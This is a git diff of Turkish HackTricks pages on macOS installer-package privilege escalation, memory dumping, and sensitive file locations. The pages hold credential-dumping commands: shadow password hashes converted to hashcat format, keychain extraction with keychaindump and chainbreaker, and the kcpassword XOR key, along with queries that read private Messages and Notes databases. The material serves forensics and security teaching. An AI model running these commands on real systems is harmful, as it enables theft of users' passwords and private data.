@ -60,9 +63,9 @@ Bir DMG dosyasının hiyerarşisi içeriğe bağlı olarak farklılık göstereb
- Uygulama (.app): Bu, asıl uygulamadır. macOS'ta bir uygulama genellikle uygulamayı oluşturan birçok bireysel dosya ve klasör içeren bir pakettir.
- Uygulamalar Bağlantısı: Bu, macOS'taki Uygulamalar klasörüne bir kısayoldur. Amacı, uygulamayı yüklemeyi size kolaylaştırmaktır. Uygulamayı yüklemek için .app dosyasını bu kısayola sürükleyebilirsiniz.
## pkg Kötüye Kullanımı Aracılığıyla İzin Yükseltme
## Pkg Kötüye Kullanımı ile İzin Yükseltme
### Genel Dizinlerden Yürütme
### Genel dizinlerden yürütme
Örneğin bir ön veya son yükleme betiği **`/var/tmp/Installerutil`** dizininden yürütülüyorsa ve saldırgan bu betiği kontrol edebiliyorsa, ayrıcalıkları yükseltebilir. Ya da başka bir benzer örnek:
@ -80,13 +83,13 @@ Bu, birçok yükleyici ve güncelleme aracının **kök olarak bir şey yürütm
Eğer bir kurulum programı `/tmp/fixedname/bla/bla`'ya yazıyorsa, `/tmp/fixedname` üzerine sahibi olmayan bir **mount oluşturmak** mümkün olabilir, böylece kurulum sırasında **herhangi bir dosyayı değiştirebilir** ve kurulum sürecini kötüye kullanabilirsiniz.
Buna bir örnek **CVE-2021-26089**'dur, bu örnek **kök olarak yürütme elde etmek için bir periyodik betiği üzerine yazmayı** başardı. Daha fazla bilgi için şu konuşmaya göz atın: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
Buna bir örnek **CVE-2021-26089**'dur, bu örnek **bir periyodik betiği üzerine yazarak** kök olarak yürütme elde etmeyi başardı. Daha fazla bilgi için şu konuşmaya bakın: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
## Zararlı Olarak pkg
### Boş Yük
Sadece bir **`.pkg`** dosyası oluşturmak mümkündür ve içinde herhangi bir yük olmadan **ön ve son kurulum betikleri** içerebilir.
Sadece bir **`.pkg`** dosyası oluşturmak mümkündür ve içinde herhangi bir yük olmadan **öncesi ve sonrası yükleme betikleri** içerebilir.
### Dağıtım xml'de JS
@ -96,6 +99,6 @@ Paketin dağıtım xml dosyasına **`<script>`** etiketleri eklemek mümkündür
## Referanslar
* [**DEF CON 27 - Pkgs Açma MacOS Kurulum Paketlerine ve Yaygın Güvenlik Açıklarına Bir Bakış**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
* [**OBTS v4.0: "MacOS Kurulum Programlarının Vahşi Dünyası" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
* [**DEF CON 27 - Pkgs Açma MacOS Kurulum Paketlerine ve Yaygın Güvenlik Açıklarına Bir Bakış**](https://www.youtube.com/watch?v=kCXhIYtODBg)
* [**DEF CON 27 - Pkgs Açma MacOS Kurulum Paketlerinin İçine Bakış ve Yaygın Güvenlik Açıkları**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
* [**OBTS v4.0: "MacOS Kurulumcularının Vahşi Dünyası" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
* [**DEF CON 27 - Pkgs Açma MacOS Kurulum Paketlerinin İçine Bakış**](https://www.youtube.com/watch?v=kCXhIYtODBg)

View file

@ -1,26 +1,27 @@
# macOS Bellek Dökme
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini kontrol etmek için ücretsiz** işlevsellikler sunar.
[**WhiteIntel**](https://whiteintel.io), **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
@ -32,11 +33,11 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
### Takas Dosyaları
`/private/var/vm/swapfile0` gibi takas dosyaları, **fiziksel bellek dolu olduğunda önbellek olarak hizmet verir**. Fiziksel bellekte daha fazla yer olmadığında, veriler bir takas dosyasına aktarılır ve gerektiğinde fiziksel belleğe geri getirilir. swapfile0, swapfile1 gibi isimlerle birden fazla takas dosyası bulunabilir.
`/private/var/vm/swapfile0` gibi takas dosyaları, **fiziksel bellek dolu olduğunda önbellek olarak hizmet verir**. Fiziksel bellekte daha fazla yer olmadığında, veriler takas dosyasına aktarılır ve ihtiyaç duyulduğunda fiziksel belleğe geri getirilir. swapfile0, swapfile1 gibi isimlerle birden fazla takas dosyası bulunabilir.
### Uyku Görüntüsü
`/private/var/vm/sleepimage` konumundaki dosya, **uykudan çıkma modunda kritiktir**. **OS X uyku modundayken bellek verileri bu dosyada depolanır**. Bilgisayar uyandığında, sistem bellek verilerini bu dosyadan alır ve kullanıcıya kaldığı yerden devam etme imkanı sağlar.
`/private/var/vm/sleepimage` konumundaki dosya, **uyku modunda** kritiktir. **OS X uyku modundayken bellek verileri bu dosyada depolanır**. Bilgisayar uyandığında, sistem bellek verilerini bu dosyadan alır ve kullanıcıya kaldığı yerden devam etme olanağı sağlar.
Modern MacOS sistemlerinde, bu dosyanın genellikle güvenlik nedenleriyle şifrelendiğini ve kurtarmanın zor olduğunu belirtmek önemlidir.
@ -44,13 +45,13 @@ Modern MacOS sistemlerinde, bu dosyanın genellikle güvenlik nedenleriyle şifr
### Bellek Basıncı Günlükleri
MacOS sistemlerindeki başka bir önemli bellek ile ilgili dosya, **bellek basıncı günlüğü**dür. Bu günlükler `/var/log` konumunda bulunur ve sistem bellek kullanımı ve basınç olayları hakkında detaylı bilgiler içerir. Bellek ile ilgili sorunları teşhis etmek veya sistem belleğin zaman içinde nasıl yönetildiğini anlamak için oldukça faydalı olabilirler.
MacOS sistemlerindeki bir diğer önemli bellek ile ilgili dosya **bellek basıncı günlükleri**dir. Bu günlükler `/var/log` konumunda bulunur ve sistem bellek kullanımı ve basınç olayları hakkında detaylı bilgiler içerir. Bellek ile ilgili sorunları teşhis etmek veya sistem belleğin zaman içinde nasıl yönetildiğini anlamak için oldukça yararlı olabilirler.
## osxpmem ile belleği dökme
Bir MacOS makinesinde belleği dökmek için [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) kullanabilirsiniz.
**Not**: Aşağıdaki talimatlar yalnızca Intel mimarisine sahip Mac'ler için çalışacaktır. Bu araç artık arşivlenmiştir ve son sürümü 2017'de yayınlanmıştır. Aşağıdaki talimatlarla indirilen ikili dosya, Apple Silicon'in 2017'de mevcut olmadığı için Intel çiplerini hedef almaktadır. arm64 mimarisi için ikili dosyayı derlemek mümkün olabilir ancak bunu kendiniz denemelisiniz.
**Not**: Aşağıdaki talimatlar yalnızca Intel mimarisine sahip Mac'ler için çalışacaktır. Bu araç artık arşivlenmiştir ve son sürümü 2017'de yayınlanmıştır. Aşağıdaki talimatlarla indirilen ikili dosya, Apple Silicon'in 2017'de mevcut olmadığı için Intel çipleri hedef almaktadır. arm64 mimarisi için ikili dosyayı derlemek mümkün olabilir ancak bunu kendiniz denemelisiniz.
```bash
#Dump raw format
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
@ -65,7 +66,7 @@ sudo kextutil "/tmp/MacPmem.kext"
#Allow the kext in "Security & Privacy --> General"
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
```
**Diğer hatalar**, sadece "Güvenlik ve Gizlilik --> Genel" bölümünde **kext'in yüklenmesine izin verilerek** düzeltilebilir, sadece **izin verin**.
**Diğer hatalar**, sadece "Güvenlik ve Gizlilik --> Genel" bölümünde **kext'in yüklenmesine izin vererek** düzeltilebilir, sadece **izin verin**.
Uygulamayı indirmek, kext'i yüklemek ve belleği dökmek için bu **oneliner'ı** da kullanabilirsiniz:
@ -80,24 +81,25 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **karanlık ağ** destekli bir arama motorudur.
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize** edilip edilmediğini kontrol etmek için **ücretsiz** işlevler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# macOS Hassas Konumlar ve İlginç Daemonlar
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**]'imiz(https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hacking püf noktalarını paylaşın.
</details>
{% endhint %}
## Parolalar
### Gölge Parolaları
### Shadow Parolaları
Gölge parolaları, kullanıcının yapılandırmasıyla birlikte **`/var/db/dslocal/nodes/Default/users/`** konumunda bulunan plist dosyalarında saklanır.\
Shadow parolaları, kullanıcının yapılandırmasıyla birlikte **`/var/db/dslocal/nodes/Default/users/`** konumundaki plist'lerde saklanır.\
Aşağıdaki oneliner, **kullanıcılar hakkındaki tüm bilgileri** (hash bilgileri dahil) dökmek için kullanılabilir:
{% code overflow="wrap" %}
@ -27,19 +28,17 @@ for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"
```
{% endcode %}
[**Bu örnekteki betikler**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) veya [**bu örnekteki**](https://github.com/octomagon/davegrohl.git) betikler, **hashcat** **formatına** dönüştürmek için kullanılabilir.
[**Bu gibi betikler**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) veya [**bu**](https://github.com/octomagon/davegrohl.git) **gibi** betikler, **hashcat formatına** dönüştürmek için kullanılabilir.
Tüm hizmet hesaplarında olmayan kimlik bilgilerini **hashcat** formatına dökecek alternatif bir tek satırlık komut `-m 7100` (macOS PBKDF2-SHA512):
Tüm hizmet hesaplarında olmayan kimlik bilgilerini **hashcat formatında** dökümleyecek alternatif bir tek satırlık komut `-m 7100` (macOS PBKDF2-SHA512):
{% code overflow="wrap" %}
```bash
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
```
{% endcode %}
### Anahtarlık Dökümü
Güvenlik ikilisini kullanarak **şifreleri şifrelenmiş olarak dökmek** istendiğinde, birkaç uyarı kullanıcıdan bu işlemi izlemesini isteyecektir.
Güvenlik ikilisini kullanarak **şifreleri şifrelenmiş olarak dökmek** için birkaç uyarı penceresi kullanıcıdan bu işlemi izin vermesini isteyecektir.
```bash
#security
secuirty dump-trust-settings [-s] [-d] #List certificates
@ -56,19 +55,19 @@ Bu yorum temel alınarak [juuso/keychaindump#10 (comment)](https://github.com/ju
### Keychaindump Genel Bakış
**keychaindump** adlı bir araç, macOS anahtarlıklarından şifreleri çıkarmak için geliştirilmiştir, ancak Big Sur gibi yeni macOS sürümlerinde sınırlamalarla karşılaşmaktadır, [tartışmada](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) belirtildiği gibi. **keychaindump**'ın kullanımı, saldırganın **root** erişimi elde etmesini ve ayrıcalıkları yükseltmesini gerektirir. Araç, anahtarlığın kullanıcı girişinde varsayılan olarak kilidini açık tutulması gerçeğinden yararlanır, bu da uygulamaların kullanıcının şifresini sürekli olarak girmesini gerektirmeksizin buna erişmesine olanak tanır. Bununla birlikte, bir kullanıcının her kullanımdan sonra anahtarlığını kilitlemeyi tercih etmesi durumunda, **keychaindump** etkisiz hale gelir.
**keychaindump** adlı bir araç, macOS anahtarlıklarından şifreleri çıkarmak için geliştirilmiştir, ancak Big Sur gibi yeni macOS sürümlerinde sınırlamalarla karşılaşmaktadır, [tartışmada](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) belirtildiği gibi. **keychaindump**'ın kullanımı saldırganın **root** erişimi elde etmesini ve ayrıcalıklarını yükseltmesini gerektirir. Araç, anahtarlığın kullanıcı girişinde varsayılan olarak kilidini açık tutulması gerçeğinden yararlanır, böylece uygulamaların kullanıcının şifresini sürekli olarak girmesini gerektirmeden erişmesine izin verir. Ancak, bir kullanıcının her kullanımdan sonra anahtarlığını kilitlemeyi tercih etmesi durumunda, **keychaindump** etkisiz hale gelir.
**Keychaindump**, Apple tarafından yetkilendirme ve kriptografik işlemler için bir daemon olarak tanımlanan **securityd** adlı belirli bir işlemi hedef alarak çalışır. Çıkarma işlemi, kullanıcının giriş şifresinden türetilen bir **Anahtar Anahtarı**nı tanımlamayı içerir. Bu anahtar, anahtarlık dosyasını okumak için gereklidir. **Master Key**'i bulmak için **keychaindump**, potansiyel anahtarları aramak için `MALLOC_TINY` olarak işaretlenen alanlarda **securityd**'nin bellek yığınını `vmmap` komutunu kullanarak tarar. Bu bellek konumlarını incelemek için aşağıdaki komut kullanılır:
**Keychaindump**, Apple tarafından yetkilendirme ve kriptografik işlemler için önemli olan **securityd** adlı belirli bir işlemi hedef alarak çalışır. Çıkarma işlemi, kullanıcının giriş şifresinden türetilen bir **Anahtar Ustası**'nı tanımlamayı içerir. Bu anahtar, anahtarlık dosyasını okumak için gereklidir. **Master Key**'i bulmak için **keychaindump**, potansiyel anahtarları aramak için `MALLOC_TINY` olarak işaretlenen alanlarda **securityd**'nin bellek yığınını `vmmap` komutunu kullanarak tarar. Bu bellek konumlarını incelemek için aşağıdaki komut kullanılır:
```bash
sudo vmmap <securityd PID> | grep MALLOC_TINY
```
Potansiyel anahtarları tanımladıktan sonra, **keychaindump**, anahtar için bir adayı gösteren (`0x0000000000000018`) belirli bir deseni aramak için heap'leri tarar. Bu anahtarı kullanabilmek için deşifre etme de dahil olmak üzere daha fazla adım, **keychaindump**'ın kaynak kodunda belirtildiği gibi gereklidir. Bu alana odaklanan analistler, anahtar zincirini şifrelemek için gerekli olan kritik verilerin **securityd** işlemi belleğinde saklandığını unutmamalıdır. **keychaindump**'ı çalıştırmak için bir örnek komut:
Potansiyel anahtarları belirledikten sonra, **keychaindump**, anahtar adayını belirten (`0x0000000000000018`) belirli bir deseni aramak için heap'leri tarar. Bu anahtarı kullanmak için deşifre etme de dahil olmak üzere daha fazla adım, **keychaindump**'ın kaynak kodunda belirtildiği gibi gereklidir. Bu alana odaklanan analistler, anahtar zincirini şifrelemek için gerekli olan kritik verilerin **securityd** işlemi belleğinde saklandığını unutmamalıdır. **keychaindump**'ı çalıştırmak için bir örnek komut:
```bash
sudo ./keychaindump
```
### chainbreaker
[**Chainbreaker**](https://github.com/n0fate/chainbreaker), bir OSX anahtar zincirinden aşağıdaki türde bilgileri adli bütünlük kurallarına uygun bir şekilde çıkarmak için kullanılabilir:
[**Chainbreaker**](https://github.com/n0fate/chainbreaker), bir OSX anahtar zincirinden aşağıdaki türde bilgileri adli olarak güvenilir bir şekilde çıkarmak için kullanılabilir:
* Hashlenmiş Keychain şifresi, [hashcat](https://hashcat.net/hashcat/) veya [John the Ripper](https://www.openwall.com/john/) ile kırılmak üzere uygun
* İnternet Şifreleri
@ -79,9 +78,9 @@ sudo ./keychaindump
* Güvenli Notlar
* Appleshare Şifreleri
Anahtar zincirini açma şifresi, [volafox](https://github.com/n0fate/volafox) veya [volatility](https://github.com/volatilityfoundation/volatility) ile elde edilen bir anahtar veya SystemKey gibi bir açma dosyası ile, Chainbreaker ayrıca düz metin şifreler sağlayacaktır.
Anahtar zincirini açma şifresi, [volafox](https://github.com/n0fate/volafox) veya [volatility](https://github.com/volatilityfoundation/volatility) ile elde edilen bir anahtar veya SystemKey gibi bir açma dosyası ile Chainbreaker, ayrıca düz metin şifreleri sağlayacaktır.
Anahtar Zincirini açmanın bu yöntemlerinden biri olmadan, Chainbreaker tüm diğer mevcut bilgileri gösterecektir.
Bu yöntemlerden birine sahip olmadan Anahtar Zincirini açma, Chainbreaker tüm diğer mevcut bilgileri gösterecektir.
#### **Anahtar zinciri anahtarlarını dök**
```bash
@ -107,7 +106,7 @@ python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d1
```
#### **Hafıza dökümü ile anahtarlık anahtarlarını (şifrelerle birlikte) dökün**
**Hafıza dökümü** yapmak için [bu adımları izleyin](../#dumping-memory-with-osxpmem)
[Şu adımları izleyin](../#dumping-memory-with-osxpmem) **bir hafıza dökümü** gerçekleştirmek için
```bash
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS
@ -127,8 +126,12 @@ python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library
**kcpassword** dosyası, yalnızca sistem sahibi **otomatik girişi etkinleştirmişse** kullanıcının **giriş şifresini** tutan bir dosyadır. Bu nedenle, kullanıcıya şifre sorulmadan otomatik olarak giriş yapılacaktır (bu çok güvenli değildir).
Şifre, **`/etc/kcpassword`** dosyasında **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`** anahtarı ile xorlanmış olarak saklanır. Kullanıcının şifresi anahtardan daha uzunsa, anahtar tekrar kullanılacaktır.\
Bu, şifrenin oldukça kolay bir şekilde kurtarılmasını sağlar, örneğin [**bu gibi**](https://gist.github.com/opshope/32f65875d45215c3677d) betikler kullanılarak.
Şifre, **`/etc/kcpassword`** dosyasında **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`** anahtarı ile XOR işlemine tabi tutularak saklanır. Kullanıcının şifresi anahtardan daha uzunsa, anahtar tekrar kullanılacaktır.\
Bu, şifrenin oldukça kolay bir şekilde kurtarılmasını sağlar, örneğin [**bu gibi**](https://gist.github.com/opshope/32f65875d45215c3677d) betikler kullanılarak.
## Veritabanlarında İlginç Bilgiler
### Mesajlar
```bash
sqlite3 $HOME/Library/Messages/chat.db .tables
sqlite3 $HOME/Library/Messages/chat.db 'select * from message'
@ -138,9 +141,9 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
```
### Bildirimler
Bildirim verilerini `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/` dizininde bulabilirsiniz.
Bildirimler verilerini `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/` dizininde bulabilirsiniz.
Çoğu ilginç bilgi **blob** içinde olacaktır. Bu nedenle, o içeriği **çıkarmalı** ve insanların **okuyabileceği** hale **dönüştürmelisiniz** ya da **`strings`** kullanmalısınız. Buna erişmek için şunu yapabilirsiniz:
Çoğu ilginç bilgi **blob** içinde olacaktır. Bu nedenle, o içeriği **çıkartmanız** ve insanların **okuyabileceği** hale **dönüştürmeniz** veya **`strings`** kullanmanız gerekecek. Buna erişmek için şunu yapabilirsiniz:
{% code overflow="wrap" %}
```bash
@ -164,21 +167,21 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s
## Tercihler
MacOS uygulamalarındaki tercihler **`$HOME/Library/Preferences`** konumundadır ve iOS'ta ise `/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences` konumundadır.&#x20;
macOS uygulamalarındaki tercihler **`$HOME/Library/Preferences`** konumundadır ve iOS'ta ise `/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences` konumundadır.&#x20;
MacOS'ta **`defaults`** adlı cli aracı **Tercihler dosyasını değiştirmek** için kullanılabilir.
macOS'ta **`defaults`** adlı cli aracı **Tercihler dosyasını değiştirmek** için kullanılabilir.
**`/usr/sbin/cfprefsd`**, XPC hizmetlerini `com.apple.cfprefsd.daemon` ve `com.apple.cfprefsd.agent` iddialıdır ve tercihleri değiştirmek gibi eylemleri gerçekleştirmek için çağrılabilir.
**`/usr/sbin/cfprefsd`** XPC hizmetlerini `com.apple.cfprefsd.daemon` ve `com.apple.cfprefsd.agent` iddialıdır ve tercihleri değiştirmek gibi eylemleri gerçekleştirmek için çağrılabilir.
## Sistem Bildirimleri
### Darwin Bildirimleri
Bildirimler için ana daemon **`/usr/sbin/notifyd`**'dir. Bildirimleri alabilmek için istemciler, `com.apple.system.notification_center` Mach portu üzerinden kayıt olmak zorundadır (`sudo lsmp -p <pid notifyd>` ile kontrol edilebilir). Daemon, `/etc/notify.conf` dosyası ile yapılandırılabilir.
Bildirimler için ana daemon **`/usr/sbin/notifyd`**'dir. Bildirimleri almak için istemcilerin `com.apple.system.notification_center` Mach portu üzerinden kaydolmaları gerekir (`sudo lsmp -p <pid notifyd>` ile kontrol edin). Daemon, `/etc/notify.conf` dosyası ile yapılandırılabilir.
Bildirimler için kullanılan isimler benzersiz ters DNS gösterimleridir ve bir bildirim birine gönderildiğinde, bunu işleyebileceğini belirten istemciler alacaktır.
Mevcut durumu (ve tüm isimleri görmek) görmek için, sinyal SIGUSR2'yi notifyd işlemine göndererek ve oluşturulan dosyayı okuyarak `/var/run/notifyd_<pid>.status` dosyasını boşaltmak mümkündür:
Mevcut durumu (ve tüm isimleri görmek) göndererek görmek mümkündür. notifyd işlemine SIGUSR2 sinyali göndererek ve oluşturulan dosyayı okuyarak: `/var/run/notifyd_<pid>.status`:
```bash
ps -ef | grep -i notifyd
0 376 1 0 15Mar24 ?? 27:40.97 /usr/sbin/notifyd
@ -196,12 +199,12 @@ common: com.apple.security.octagon.joined-with-bottle
```
### Dağıtılmış Bildirim Merkezi
Ana ikili dosyası **`/usr/sbin/distnoted`** olan **Dağıtılmış Bildirim Merkezi**, bildirimler göndermenin başka bir yoludur. Bazı XPC hizmetlerini açığa çıkarır ve istemcileri doğrulamak için bazı kontroller yapar.
